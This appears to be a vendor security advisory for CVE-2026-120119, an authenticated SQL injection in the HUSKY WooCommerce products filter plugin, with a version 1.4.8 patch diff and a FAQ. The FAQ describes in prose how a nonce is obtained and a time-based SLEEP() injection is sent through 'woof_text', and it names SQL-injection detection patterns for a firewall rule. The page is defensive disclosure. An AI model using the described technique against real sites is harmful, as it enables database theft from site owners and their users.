+ <input class="woof_qt_meta_slider" data-skin="<?php echo esc_attr( $skin ); ?>" data-tax="<?php echo esc_attr( $meta_item['meta_key'] ); ?>" data-min="<?php echo esc_attr( $min ); ?>" data-max="<?php echo esc_attr( $max ); ?>" data-step="<?php echo esc_attr( $meta_settings['step'] ); ?>" data-slider-prefix="<?php echo esc_html( $meta_settings['prefix'] ); ?>" data-slider-postfix="<?php echo esc_html( $meta_settings['postfix'] ); ?>" value="" />
+ </div>
+ <?php
+ break;
+ default:
+ break;
+ }
+ }
+
+}
+
?>
<div class="woof_qt">
<div class="woof_quick_search_wraper <?php echo esc_attr( $class ); ?>">
@@ -188,6 +337,7 @@
</<?php echo esc_html( apply_filters( 'woof_title_tag', 'h4' ) ); ?>>
<?php
foreach ( $terms as $term ) {
+ $unique_id = uniqid();
?>
<div class="woof_qt_item_container">
<input type="checkbox" id="term_<?php echo esc_attr( $unique_id ); ?>" name="woof_qt_check_<?php echo esc_attr( $filter_struct[1] ); ?>" class="woof_qt_checkbox tax_<?php echo esc_attr( $filter_struct[1] ); ?>" data-tax="<?php echo esc_attr( $filter_struct[1] ); ?>"value="<?php echo esc_attr( $term->term_id ); ?>" >
@@ -242,152 +392,3 @@
?>
</div>
</div>
-<?php
-if ( ! function_exists( 'woof_get_meta_filter_html' ) ) {
-
- function woof_get_meta_filter_html( $meta_item, $type, $title = '' ) {
- switch ( $type ) {
- case 'drop-down':
- $meta_options = array();
- if ( ! isset( $meta_item['options'] ) or ! $meta_item['options'] ) {
- ?>
- <div class="woof_qt_add_filter "><p class="woof_notice"><a href="#"><?php esc_html_e( 'Error! Please read documents', 'woocommerce-products-filter' ); ?></a></p></div>
- <?php
- break;
- } else {
- $meta_options = explode( ',', $meta_item['options'] );
- }
- ?>
-
- <div class="woof_qt_add_filter woof_qt_add_filter_select woof_qt_add_filter_select_<?php echo esc_attr( $meta_item['meta_key'] ); ?>">
- <<?php echo esc_html( apply_filters( 'woof_title_tag', 'h4' ) ); ?>>
- <?php echo esc_html( $title ); ?>
- </<?php echo esc_html( apply_filters( 'woof_title_tag', 'h4' ) ); ?>>
- <select class="woof_qt_select meta_<?php echo esc_attr( $meta_item['meta_key'] ); ?>" data-meta="1" data-tax="<?php echo esc_attr( $meta_item['meta_key'] ); ?>">
- <option value="-1"><?php echo esc_html( WOOF_HELPER::wpml_translate( null, $meta_item['title'] ) ); ?></option>
- <?php foreach ( $meta_options as $key => $option ) : ?>
- <?php
- $option_title = $option;
- $custom_title = explode( '^', $option, 2 );
- if ( count( $custom_title ) > 1 ) {
- $option = $custom_title[1];
- $option_title = $custom_title[0];
- }
- ?>
- <option value="<?php echo esc_html( $option ); ?>" >
- <?php echo esc_html( WOOF_HELPER::wpml_translate( null, $option_title ) ); ?>
- </option>
- <?php endforeach; ?>
- </select>
- </div>
- <?php
- break;
- case 'multi-drop-down':
- $meta_options = array();
- if ( ! isset( $meta_item['options'] ) or ! $meta_item['options'] ) {
- ?>
- <div class="woof_qt_add_filter "><p class="woof_notice"><a href="#"><?php esc_html_e( 'Error! Please read documents', 'woocommerce-products-filter' ); ?></a></p></div>
- <?php
- break;
- } else {
- $meta_options = explode( ',', $meta_item['options'] );
- }
- ?>
-
- <div class="woof_qt_add_filter woof_qt_add_filter_select woof_qt_add_filter_select_<?php echo esc_attr( $meta_item['meta_key'] ); ?>">
- <<?php echo esc_html( apply_filters( 'woof_title_tag', 'h4' ) ); ?>>
- <?php echo esc_html( $title ); ?>
- </<?php echo esc_html( apply_filters( 'woof_title_tag', 'h4' ) ); ?>>
- <select class="woof_qt_select meta_<?php echo esc_attr( $meta_item['meta_key'] ); ?>" data-meta="1" data-tax="<?php echo esc_attr( $meta_item['meta_key'] ); ?>"multiple="multiple" >
- <?php foreach ( $meta_options as $key => $option ) : ?>
- <?php
- $option_title = $option;
- $custom_title = explode( '^', $option, 2 );
- if ( count( $custom_title ) > 1 ) {
- $option = $custom_title[1];
- $option_title = $custom_title[0];
- }
- ?>
- <option value="<?php echo esc_html( $option ); ?>" >
- <?php echo esc_html( WOOF_HELPER::wpml_translate( null, $option_title ) ); ?>
- </option>
- <?php endforeach; ?>
- </select>
- </div>
- <?php
- break;
- case 'checkbox':
- $value = 1;
- if ( $meta_item['search_view'] == 'checkbox' ) {
- $meta_settings = woof()->settings[ $meta_item['meta_key'] ];
- if ( $meta_settings['search_option'] == 0 ) {
- $value = $meta_settings['search_value'];
- } else {
- $value = 'meta_exist';
- }
- }
- ?>
- <div class="woof_qt_add_filter woof_qt_add_filter_checkbox woof_qt_add_filter_checkbox_<?php echo esc_attr( $meta_item['meta_key'] ); ?>">
- <<?php echo esc_html( apply_filters( 'woof_title_tag', 'h4' ) ); ?>>
- <?php echo esc_html( $title ); ?>
- </<?php echo esc_html( apply_filters( 'woof_title_tag', 'h4' ) ); ?>>
-
- <div class="woof_qt_item_container">
- <input type="checkbox" name="woof_qt_check_<?php echo esc_attr( $meta_item['meta_key'] ); ?>" class="woof_qt_checkbox meta_<?php echo esc_attr( $meta_item['meta_key'] ); ?>" data-tax="<?php echo esc_attr( $meta_item['meta_key'] ); ?>"value="<?php echo esc_html( $value ); ?>" >
- <label class="woof_qt_checkbox_label"><?php echo esc_html( $title ); ?></label>
- </div>
- </div>
- <?php
- break;
- case 'radio':
- ?>
- <div class="woof_qt_add_filter "><p class="woof_notice"><a href="#"><?php esc_html_e( 'Error! Please read documents', 'woocommerce-products-filter' ); ?></a></p></div>
- <?php
- break;
- case 'slider':
- if ( $meta_item['search_view'] != 'slider' ) {
- ?>
- <div class="woof_qt_add_filter "><p class="woof_notice"><a href="#"><?php esc_html_e( 'Error! Please read documents', 'woocommerce-products-filter' ); ?></a></p></div>
- <?php
- break;
- }
-
- $meta_settings = woof()->settings[ $meta_item['meta_key'] ];
- wp_enqueue_script( 'ion.range-slider', WOOF_LINK . 'js/ion.range-slider/js/ion-rangeSlider/ion.rangeSlider.min.js', array( 'jquery' ), WOOF_VERSION );
- wp_enqueue_style( 'ion.range-slider', WOOF_LINK . 'js/ion.range-slider/css/ion.rangeSlider.css', array(), WOOF_VERSION );
- $skin = 'round';
- if ( isset( woof()->settings['ion_slider_skin'] ) ) {
- $skin = woof()->settings['ion_slider_skin'];
- }
- $skin = WOOF_HELPER::check_new_ion_skin( $skin );
- $min = 0;
- $max = 100;
- if ( ! isset( $meta_settings['range'] ) ) {
- $meta_settings['range'] = '1-100';
- }
- if ( ! isset( $meta_settings['step'] ) ) {
- $meta_settings['step'] = 1;
- }
- if ( ! isset( $meta_settings['prefix'] ) or ! isset( $meta_settings['postfix'] ) ) {
- $meta_settings['prefix'] = $meta_settings['postfix'] = '';
- }
- if ( ! isset( $meta_settings['step'] ) ) {
- $meta_settings['step'] = 1;
- }
- $min_max = explode( '-', $meta_settings['range'], 2 );
- if ( count( $min_max ) > 1 ) {
- $min = floatval( $min_max[0] );
- $max = floatval( $min_max[1] );
- }
- ?>
- <div class="woof_qt_add_filter ">
- <input class="woof_qt_meta_slider" data-skin="<?php echo esc_attr( $skin ); ?>" data-tax="<?php echo esc_attr( $meta_item['meta_key'] ); ?>" data-min="<?php echo esc_attr( $min ); ?>" data-max="<?php echo esc_attr( $max ); ?>" data-step="<?php echo esc_attr( $meta_settings['step'] ); ?>" data-slider-prefix="<?php echo esc_html( $meta_settings['prefix'] ); ?>" data-slider-postfix="<?php echo esc_html( $meta_settings['postfix'] ); ?>" value="" />
- </div>
- <?php
- break;
- default:
- break;
- }
- }
-
-}
--- a/woocommerce-products-filter/ext/slideout/views/tabs_content.php
+++ b/woocommerce-products-filter/ext/slideout/views/tabs_content.php
@@ -290,7 +290,7 @@
$woof_settings['woof_slideout_height_t'] = 'px';
}
?>
- <h4><?php esc_html_e( 'Сontainer size', 'woocommerce-products-filter' ); ?></h4>
+ <h4><?php esc_html_e( 'Container size', 'woocommerce-products-filter' ); ?></h4>
<div class="woof-control-container woof_slideout_сontainer_size">
<div class="woof-control ">
--- a/woocommerce-products-filter/ext/step_filer/views/shortcode/step_filter.php
+++ b/woocommerce-products-filter/ext/step_filer/views/shortcode/step_filter.php
@@ -29,7 +29,7 @@
<?php
if ( $woof_reset_btn_txt != 'none' ) :
?>
- <button class="button woof_reset_search_form" data-link="<?php echo esc_url_raw( $woof_link ); ?>"><?php echo esc_html( $woof_reset_btn_txt ); ?></button><?php endif; ?>
+ <button class="button woof_reset_search_form" data-link="<?php echo esc_url_raw( (string) $woof_link ); ?>"><?php echo esc_html( $woof_reset_btn_txt ); ?></button><?php endif; ?>
<button class="button woof_step_filter_next"><?php echo esc_html( $next_btn_txt ); ?></button>
</div>
<?php if ( $images ) : ?>
--- a/woocommerce-products-filter/ext/turbo_mode/index.php
+++ b/woocommerce-products-filter/ext/turbo_mode/index.php
@@ -539,6 +539,10 @@
if ( ! empty( $t ) and is_array( $t ) ) {
foreach ( $t as $string ) {
$tmp = explode( ':', $string );
+ // Skip malformed parts like "product_cat" or a trailing "+": the expected format is taxonomy:id,id
+ if ( ! isset( $tmp[1] ) ) {
+ continue;
+ }
$tax_slug = $tmp[0];
$tax_terms = explode( ',', $tmp[1] );
$slugs = array();
@@ -546,7 +550,7 @@
foreach ( $tax_terms as $term_id ) {
$term = get_term( intval( $term_id ), $tax_slug );
- if ( is_object( $term ) ) {
+ if ( is_object( $term ) && ! is_wp_error( $term ) ) {
$slugs[] = $term->slug;
}
}
@@ -644,12 +648,16 @@
if ( ! empty( $t ) and is_array( $t ) ) {
foreach ( $t as $string ) {
$tmp = explode( ':', $string );
+ // Skip malformed parts like "product_cat" or a trailing "+": the expected format is taxonomy:id,id
+ if ( ! isset( $tmp[1] ) ) {
+ continue;
+ }
$tax_slug = $tmp[0];
$tax_terms = explode( ',', $tmp[1] );
$slugs = array();
foreach ( $tax_terms as $term_id ) {
$term = get_term( intval( $term_id ), $tax_slug );
- if ( is_object( $term ) ) {
+ if ( is_object( $term ) && ! is_wp_error( $term ) ) {
$slugs[] = $term->slug;
}
}
--- a/woocommerce-products-filter/index.php
+++ b/woocommerce-products-filter/index.php
@@ -7,14 +7,14 @@
Tested up to: 7.1
Author: realmag777
Author URI: https://pluginus.net/
- Version: 1.4.7
+ Version: 1.4.8
Requires PHP: 7.4
Tags: filter,search,woocommerce,woocommerce filter,woocommerce product filter,woocommerce products filter,products filter,product filter,filter of products,filter for products,filter for woocommerce
Text Domain: woocommerce-products-filter
Domain Path: /languages
Forum URI: https://pluginus.net/support/forum/woof-woocommerce-products-filter/
WC requires at least: 6.0
- WC tested up to: 11.2
+ WC tested up to: 11.3
Requires Plugins: woocommerce
License: GPL-2.0-or-later
License URI: https://www.gnu.org/licenses/gpl-2.0.html
@@ -34,6 +34,8 @@
function () {
if ( class_exists( 'AutomatticWooCommerceUtilitiesFeaturesUtil' ) ) {
AutomatticWooCommerceUtilitiesFeaturesUtil::declare_compatibility( 'custom_order_tables', __FILE__, true );
+ // HUSKY does not touch the cart or checkout, so the block-based Cart and Checkout are fully compatible
+ AutomatticWooCommerceUtilitiesFeaturesUtil::declare_compatibility( 'cart_checkout_blocks', __FILE__, true );
}
}
);
@@ -108,7 +110,7 @@
define( 'WOOF_LINK', plugin_dir_url( __FILE__ ) );
define( 'WOOF_PLUGIN_NAME', plugin_basename( __FILE__ ) );
define( 'WOOF_EXT_PATH', WOOF_PATH . 'ext/' );
-define( 'WOOF_VERSION', '1.4.7' );
+define( 'WOOF_VERSION', '1.4.8' );
// define('WOOF_VERSION', uniqid('woof-')); //for dev only to avoid js/css cache
define( 'WOOF_MIN_WOOCOMMERCE_VERSION', '6.0' );
// classes
@@ -129,7 +131,7 @@
require WOOF_PATH . 'classes/mcp/boot.php';
HUSKY_MCP::init();
-// 27-10-2026
+// 09-11-2026
if ( ! class_exists( 'HUSKY' ) ) {
final class HUSKY {
@@ -149,6 +151,7 @@
public $storage = null;
public $storage_type = 'transient'; // session, transient
public $show_notes = true;
+ private $ajax_pagination_base = ''; // the visitor's page while the pager is rendered in woof_draw_products()
// true while the MCP server runs the shop page's query (classes/mcp/engine.php)
public static $mcp_front_query = false;
@@ -394,7 +397,11 @@
// ***
- $data = WOOF_HELPER::sanitize_array( json_decode( WOOF_REQUEST::get( 'formdata' ), true ) );
+ $data = json_decode( WOOF_REQUEST::get( 'formdata' ), true );
+ if ( isset( $data['woof_settings']['js_after_ajax_done'] ) and is_string( $data['woof_settings']['js_after_ajax_done'] ) ) {
+ $data['woof_settings']['js_after_ajax_done'] = WOOF_HELPER::encode_js_setting( $data['woof_settings']['js_after_ajax_done'] );
+ }
+ $data = WOOF_HELPER::sanitize_array( $data );
if ( isset( $data['woof_settings'] ) ) {
if ( ! isset( $data['_wpnonce_woof'] ) || ! wp_verify_nonce( $data['_wpnonce_woof'], 'woof_save_option' ) ) {
@@ -1155,7 +1162,7 @@
'price': "<?php esc_html_e( 'price low to high', 'woocommerce-products-filter' ); ?>",
'price-desc': "<?php esc_html_e( 'price high to low', 'woocommerce-products-filter' ); ?>",
'clear_all': "<?php echo wp_kses_post( apply_filters( 'woof_clear_all_text', $clear_all_text ) ); ?>",
- 'list_opener': "<?php esc_html_e( 'Сhild list opener', 'woocommerce-products-filter' ); ?>",
+ 'list_opener': "<?php esc_html_e( 'Child list opener', 'woocommerce-products-filter' ); ?>",
};
if (typeof woof_lang_custom == 'undefined') {
@@ -2294,7 +2301,11 @@
if (!empty($t) AND is_array($t)) {
foreach ($t as $string) {
$tmp = explode(':', $string);
- $tax_slug = $tmp[0];
+ // Skip malformed parts like "product_cat" or a trailing "+": the expected format is taxonomy:id,id
+ if (!isset($tmp[1]) OR trim($tmp[1]) === '') {
+ continue;
+ }
+ $tax_slug = trim($tmp[0]);
$tax_terms = explode(',', $tmp[1]);
$slugs = array();
foreach ($tax_terms as $term_id) {
@@ -2836,6 +2847,12 @@
//the link is the visitor's URL, page elements must not be redrawn from it; legitimate values come via the filter below
unset($query_array['woof_redraw_elements']);
$_GET = apply_filters('woof_draw_products_get_args', wc_clean(array_merge($query_array, wc_clean($_GET))), WOOF_REQUEST::get('link'));
+ //the pager is rendered inside admin-ajax.php, its links must lead to the visitor's page
+ $this->ajax_pagination_base = $this->get_ajax_pagination_base(WOOF_REQUEST::get('link'));
+ if ($this->ajax_pagination_base) {
+ add_filter('paginate_links', array($this, 'ajax_pagination_link'));
+ add_filter('get_pagenum_link', array($this, 'ajax_pagination_link'));
+ }
}
//Fixing the vulnerability in woocommerce-ordering
@@ -2846,7 +2863,7 @@
$product_ids = " product_ids='" . sanitize_text_field(WOOF_REQUEST::get('turbo_mode_ids')) . "' ";
}
- $shortcode_str = $this->check_shortcode("woof_products", "[" . WOOF_REQUEST::get('shortcode') . " page=" . WOOF_REQUEST::get('page') . $product_ids . "]");
+ $shortcode_str = $this->check_shortcode("woof_products", "[" . WOOF_REQUEST::get('shortcode') . " page=" . absint(WOOF_REQUEST::get('page')) . $product_ids . "]");
//$products = do_shortcode($shortcode_str);
$products = apply_filters('woof_draw_products_html', do_shortcode($shortcode_str), $shortcode_str);
$additional_fields = array();
@@ -2885,6 +2902,31 @@
wp_die(json_encode(compact('products', 'form', 'additional_fields')));
}
+ //the visitor's page address without a page number, empty when the link does not belong to this site
+ private function get_ajax_pagination_base($link) {
+ if (!is_string($link) OR wp_parse_url($link, PHP_URL_HOST) !== wp_parse_url(home_url(), PHP_URL_HOST)) {
+ return '';
+ }
+ $link = preg_replace('~/page/d+/?(?=[?#]|$)~', '/', $link);
+ return remove_query_arg(array('paged', 'product-page'), $link);
+ }
+
+ //keeps the page number argument of the link, it is what js/front.js reads on a click:
+ //paged= works on shop, taxonomy and SEO pages, product-page= is the argument of WooCommerce shortcodes
+ public function ajax_pagination_link($link) {
+ if (false === strpos($link, 'admin-ajax.php')) {
+ return $link;
+ }
+ $args = array();
+ parse_str((string) wp_parse_url($link, PHP_URL_QUERY), $args);
+ foreach (array('product-page', 'paged') as $arg) {
+ if (isset($args[$arg]) AND (int) $args[$arg] > 1) {
+ return add_query_arg($arg, (int) $args[$arg], $this->ajax_pagination_base);
+ }
+ }
+ return $this->ajax_pagination_base;
+ }
+
public function show_btn($atts) {
return $this->render_html(WOOF_PATH . 'views/shortcodes/woof_show_btn.php', $atts);// nosemgrep
}
@@ -2903,7 +2945,7 @@
//this for synhronizating shortcode woof_products if its has attribute taxonomies
$atts = wc_clean($atts);
if (isset($atts['taxonomies'])) {
- $args['additional_taxes'] = apply_filters('woof_set_shortcode_taxonomyattr_behaviour', $atts['taxonomies']);
+ $args['additional_taxes'] = apply_filters('woof_set_shortcode_taxonomyattr_behaviour', $this->sanitize_taxonomies_attr($atts['taxonomies']));
} else {
$args['additional_taxes'] = '';
}
@@ -3180,6 +3222,27 @@
}
return $this->render_html(WOOF_PATH . 'views/shortcodes/woof_price_filter_' . $type . '.php', $args);// nosemgrep
}
+
+ //the taxonomies attribute has the strict format taxonomy:id,id+taxonomy:id
+ //it is rebuilt from validated parts, so no bracket, quote or backslash can reach a rebuilt shortcode
+ private function sanitize_taxonomies_attr($taxonomies) {
+ $res = array();
+ foreach (explode('+', (string) $taxonomies) as $part) {
+ $tmp = explode(':', $part, 2);
+ if (!isset($tmp[1])) {
+ continue;
+ }
+ $tax_slug = trim($tmp[0]);
+ if (!preg_match('/^[a-zA-Z0-9_-]+$/', $tax_slug)) {
+ continue;
+ }
+ $ids = array_filter(array_map('absint', explode(',', $tmp[1])));
+ if (!empty($ids)) {
+ $res[] = $tax_slug . ':' . implode(',', $ids);
+ }
+ }
+ return implode('+', $res);
+ }
//shortcode
public function woof_search_options($args = array()) {
@@ -3850,6 +3913,10 @@
//+++
public function check_shortcode($tag = "", $text = "") {
+ //a backslash is what turns x5d / x5b into ] / [ inside shortcode_parse_atts(), legitimate requests never carry one
+ if (strpos((string) $text, '\') !== false) {
+ return "";
+ }
$tags = array(
'products_woof',
'recent_products_woof',
@@ -3904,20 +3971,34 @@
$attr_str = "";
if (is_array($atts)) {
foreach ($atts as $key => $val) {
+ //shortcode brackets, quotes and backslashes must never reach the rebuilt shortcode string
+ $val = str_replace(array('[', ']', '\', '"', "'"), '', (string) $val);
if (is_int($key)) {
$attr_str .= " " . $val;
} else {
+ //attribute keys may contain only letters, digits, underscore and dash
+ if (!preg_match('/^[a-zA-Z0-9_-]+$/', (string) $key)) {
+ continue;
+ }
$attr_str .= sprintf(" %s='%s'", $key, $val);
}
}
}
+ //WooCommerce shortcodes read the page number only from product-page in the address. An AJAX request
+ //brings it as the page attribute, the address js/front.js writes after a click as the paged query var.
+ if (wp_doing_ajax() AND isset($atts['page'])) {
+ $_GET['product-page'] = absint($atts['page']);
+ } elseif (!isset($_GET['product-page']) AND get_query_var('paged') > 1) {
+ $_GET['product-page'] = absint(get_query_var('paged'));
+ }
$shortcode = str_replace("_woof", "", $tag);
ob_start();
?>
<div id="woof_results_by_ajax" class="woof_results_by_ajax_shortcode" data-shortcode="<?php echo esc_attr($tag . $attr_str) ?>" >
<?php
- echo do_shortcode("[" . esc_html($shortcode . $attr_str) . " ]");
+ //the quotes around the values belong to the shortcode, the values have none of their own
+ echo do_shortcode("[" . htmlspecialchars($shortcode . $attr_str, ENT_NOQUOTES, 'UTF-8', false) . " ]");
?>
</div>
<?php
--- a/woocommerce-products-filter/uninstall.php
+++ b/woocommerce-products-filter/uninstall.php
@@ -1,8 +0,0 @@
-<?php
-
-if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) {
- die;
-}
-
-global $wpdb;
-$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}woof_query_cache" );
--- a/woocommerce-products-filter/views/plugin_options.php
+++ b/woocommerce-products-filter/views/plugin_options.php
@@ -1256,7 +1256,7 @@
<tr>
<th scope="row"><label for="js_after_ajax_done"><?php esc_html_e( 'JavaScript code after AJAX is done', 'woocommerce-products-filter' ); ?></label></th>
<td>
- <textarea class="wide woof_custom_css" id="js_after_ajax_done" name="woof_settings[js_after_ajax_done]"><?php echo (isset( $this->settings['js_after_ajax_done'] )?esc_textarea( stripcslashes( esc_js( str_replace( '"', "'", $this->settings['js_after_ajax_done'] ) ) ) ):'') ?></textarea>
+ <textarea class="wide woof_custom_css" id="js_after_ajax_done" name="woof_settings[js_after_ajax_done]"><?php echo (isset( $this->settings['js_after_ajax_done'] )?esc_textarea( stripcslashes( html_entity_decode( $this->settings['js_after_ajax_done'], ENT_QUOTES | ENT_HTML5, 'UTF-8' ) ) ):'') ?></textarea>
<p class="description"><?php esc_html_e( 'Use it when you are need additional action after AJAX redraw your products in shop page or in page with shortcode! For use when you need additional functionality after AJAX redraw of your products on the shop page or on pages with shortcodes.', 'woocommerce-products-filter' ); ?></p>
</td>
</tr>
Frequently Asked Questions
What is CVE-2026-120119?
Vulnerability overviewCVE-2026-120119 is an authenticated SQL injection vulnerability in the HUSKY Products Filter for WooCommerce Professional plugin, affecting versions up to and including 1.4.7. It allows users with subscriber-level access or higher to inject arbitrary SQL commands via the ‘woof_text’ parameter, potentially leading to data extraction from the WordPress database.
How does the SQL injection work?
Technical mechanismThe vulnerability arises from insufficient escaping of the ‘woof_text’ parameter and lack of proper preparation in SQL queries. Attackers can append malicious SQL code, such as time-based functions like SLEEP(), to existing queries, enabling blind extraction of sensitive information. The exploit requires a valid ‘product_messenger’ nonce, which can be obtained by any logged-in user through the ‘woof_redraw_woof’ AJAX endpoint.
Who is affected by this vulnerability?
Affected versions and usersAny WordPress site running the HUSKY Products Filter for WooCommerce Professional plugin version 1.4.7 or earlier is affected. The vulnerability requires authentication, so attackers must have at least subscriber-level access, but such accounts are often easily obtainable on sites with user registration enabled.
How can I check if my site is vulnerable?
Detection methodCheck the plugin version installed on your site. If it is 1.4.7 or earlier, your site is vulnerable. You can verify the version in the WordPress admin under Plugins, or by checking the plugin’s main file for a version header. Updating to version 1.4.8 or later is recommended.
What is the risk level of this vulnerability?
CVSS score interpretationThe CVSS score is 6.5, rated Medium. This reflects the need for authentication and the complexity of exploitation, but the potential impact includes unauthorized access to sensitive data such as user credentials and session tokens, which could lead to further compromise.
How can I fix or mitigate this vulnerability?
Remediation stepsUpdate the HUSKY plugin to version 1.4.8 or later, which contains patches for the vulnerability. If immediate updating is not possible, consider restricting user registration and reviewing subscriber accounts, or applying a web application firewall rule to block malicious requests targeting the ‘woof_text’ parameter.
What does the proof of concept demonstrate?
PoC explanationThe proof of concept shows how an authenticated attacker can log in, obtain the necessary nonce by forcing the ‘by_only’ attribute via the ‘woof_shortcode’ parameter, and then send a crafted request with a time-based SQL injection payload in ‘woof_text’. The response time indicates whether the injection succeeded, confirming the vulnerability.
Why is the nonce obtainable by any logged-in user?
Nonce acquisitionThe nonce is issued by the ‘woof_redraw_woof’ AJAX endpoint when the shortcode’s ‘by_only’ attribute is set. Since the ‘woof_shortcode’ request parameter can be controlled by the attacker, they can force the attribute and receive a valid nonce, bypassing the intended access control.
What does the patch change to prevent the vulnerability?
Patch detailsThe patch introduces ‘restore_percent_signs()’ to handle leftover placeholders and strengthens ‘sanitazed_sql_query()’ by stripping quoted strings and rejecting queries containing dangerous patterns like UNION, SLEEP, BENCHMARK, and references to sensitive tables. It also uses ‘wp_slash()’ when storing queries to preserve backslashes.
Can this vulnerability lead to full database compromise?
Potential impactYes, although the vulnerability allows only SELECT queries, an attacker can extract sensitive information such as user credentials and session tokens. This data could be used to escalate privileges or access other parts of the system, potentially leading to broader compromise.
What should I do if I suspect exploitation?
Incident responseIf you suspect exploitation, immediately update the plugin to version 1.4.8 or later, review logs for suspicious requests to admin-ajax.php with ‘woof_text’ parameters, and reset passwords for all users, especially administrators. Consider conducting a full security audit to identify any unauthorized access or data exfiltration.
Is there a WAF rule available for this vulnerability?
ModSecurity ruleYes, a ModSecurity rule is provided that blocks requests to /wp-admin/admin-ajax.php with the action ‘woof_redraw_woof’ and a ‘woof_text’ parameter containing SQL injection patterns such as SLEEP, BENCHMARK, UNION SELECT, or comments. Implementing this rule can provide temporary protection until the plugin is updated.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






